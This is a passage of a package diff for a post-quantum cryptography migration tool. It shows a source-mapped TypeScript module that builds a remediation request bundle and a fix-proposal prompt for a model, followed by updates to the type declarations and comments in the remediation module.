sourcesContent":["/**\n * Remediation rubric, fix schema, and request-bundle builder — offline and\n * deterministic, shared by `@quantakrypto/agent` (which prompts a model with\n * them) and the MCP `remediate_findings` tool (which hands the bundle to the\n * host agent). Keeping them here means the MCP server stays offline/key-free.\n */\nimport type { Finding } from \"./types.js\";\nimport type { ContextLevel, RedactedContext } from \"./agent-types.js\";\nimport { buildContext } from \"./redact.js\";\n\n/** The system rubric for a fix proposal. */\nexport const REMEDIATE_RUBRIC =\n \"You are a post-quantum cryptography migration engineer. Given the FULL content \" +\n \"of one source file plus a finding describing classical (quantum-vulnerable) \" +\n \"cryptography in it, return the FULL corrected file content that removes the \" +\n \"flagged usage, migrating to a post-quantum or hybrid construction \" +\n \"(ML-KEM-768 / ML-DSA-65, hybrid X25519MLKEM768) where a safe replacement \" +\n \"exists. Change as little as possible; preserve all other code and formatting \" +\n \"exactly. If you cannot safely fix it, return newContent identical to the \" +\n \"input. NEVER invent or alter secrets/keys. After proposing, VERIFY with the \" +\n \"verify_fix tool and keep only fixes that clear the finding.\";\n\n/** JSON Schema every fix proposal must satisfy. */\nexport const FIX_REQUEST_SCHEMA: Record<string, unknown> = {\n type: \"object\",\n required: [\"path\", \"newContent\", \"explanation\"],\n properties: {\n path: { type: \"string\" },\n newContent: { type: \"string\" },\n explanation: { type: \"string\" },\n },\n};\n\n/** A remediation request bundle for the host agent. */\nexport interface RemediateRequest {\n instructions: string;\n schema: Record<string, unknown>;\n contexts: RedactedContext[];\n}\n\n/** Build a remediation request bundle (offline; metadata level unless `readContent`). */\nexport function buildRemediateRequest(\n findings: readonly Finding[],\n level: ContextLevel = \"metadata\",\n readContent?: (finding: Finding) => string,\n): RemediateRequest {\n const effectiveLevel: ContextLevel = readContent ? level : \"metadata\";\n const contexts = findings.map((f) =>\n buildContext(f, effectiveLevel, readContent ? readContent(f) : \"\"),\n );\n return { instructions: REMEDIATE_RUBRIC, schema: FIX_REQUEST_SCHEMA, contexts };\n}\n"]}
@@ -1,8 +1,9 @@
1
1
  /**
2
2
  * Post-quantum remediation guidance for each classical asymmetric algorithm
3
- * family. The recommendations follow NIST's standardized PQC algorithms
4
- * (ML-KEM / FIPS 203, ML-DSA / FIPS 204, SLH-DSA / FIPS 205) and the IETF
5
- * hybrid key-exchange drafts (X25519MLKEM768).
3
+ * family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM
4
+ * (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) and the IETF hybrid
5
+ * key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking
6
+ * standards to track are captured in {@link PQC_TRANSITION_NOTE}.
6
7
  */
7
8
  import type { AlgorithmFamily, Remediation } from "./types.js";
8
9
  /** Look up the recommended post-quantum remediation for a classical algorithm. */
@@ -47,6 +48,11 @@ export declare function remediationForTier(algorithm: AlgorithmFamily, tier?: Se
47
48
  * low-volume signing root is appropriate.
48
49
  */
49
50
  export declare const STATEFUL_HBS_NOTE: string;
51
+ /**
52
+ * Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
53
+ * targets. Surfaced for operators planning multi-year migrations.
54
+ */
55
+ export declare const PQC_TRANSITION_NOTE: string;
50
56
  /** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
51
57
  export declare function statefulHbsApplies(algorithm: AlgorithmFamily): boolean;
52
58
  //# sourceMappingURL=remediation.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"remediation.d.ts","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AACH,OAAO,KAAK,EAAE,eAAe,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AAkF/D,kFAAkF;AAClF,wBAAgB,cAAc,CAAC,SAAS,EAAE,eAAe,GAAG,WAAW,GAAG,SAAS,CAElF;AAED,uFAAuF;AACvF,wBAAgB,eAAe,CAAC,SAAS,EAAE,eAAe,GAAG,MAAM,CAElE;AAED;;;;;;GAMG;AACH,wBAAgB,uBAAuB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAS3E;AAED,qFAAqF;AACrF,wBAAgB,iBAAiB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAIrE;AAMD;;;;;GAKG;AACH,MAAM,MAAM,YAAY,GAAG,YAAY,GAAG,YAAY,CAAC;AAEvD,+CAA+C;AAC/C,eAAO,MAAM,WAAW,EAAE,MAAM,CAAC,YAAY,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,CAW9F,CAAC;AAEF;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAChC,SAAS,EAAE,eAAe,EAC1B,IAAI,GAAE,YAA2B,GAChC,WAAW,CA2Bb;AAED;;;;;;GAMG;AACH,eAAO,MAAM,iBAAiB,QAKO,CAAC;AAEtC,oFAAoF;AACpF,wBAAgB,kBAAkB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAGtE"}
1
+ {"version":3,"file":"remediation.d.ts","sourceRoot":"","sources":["../src/remediation.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,OAAO,KAAK,EAAE,eAAe,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AAoF/D,kFAAkF;AAClF,wBAAgB,cAAc,CAAC,SAAS,EAAE,eAAe,GAAG,WAAW,GAAG,SAAS,CAElF;AAED,uFAAuF;AACvF,wBAAgB,eAAe,CAAC,SAAS,EAAE,eAAe,GAAG,MAAM,CAElE;AAED;;;;;;GAMG;AACH,wBAAgB,uBAAuB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAS3E;AAED,qFAAqF;AACrF,wBAAgB,iBAAiB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAIrE;AAMD;;;;;GAKG;AACH,MAAM,MAAM,YAAY,GAAG,YAAY,GAAG,YAAY,CAAC;AAEvD,+CAA+C;AAC/C,eAAO,MAAM,WAAW,EAAE,MAAM,CAAC,YAAY,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,CAW9F,CAAC;AAEF;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAChC,SAAS,EAAE,eAAe,EAC1B,IAAI,GAAE,YAA2B,GAChC,WAAW,CA2Bb;AAED;;;;;;GAMG;AACH,eAAO,MAAM,iBAAiB,QAKO,CAAC;AAEtC;;;GAGG;AACH,eAAO,MAAM,mBAAmB,QAMkC,CAAC;AAEnE,oFAAoF;AACpF,wBAAgB,kBAAkB,CAAC,SAAS,EAAE,eAAe,GAAG,OAAO,CAGtE"}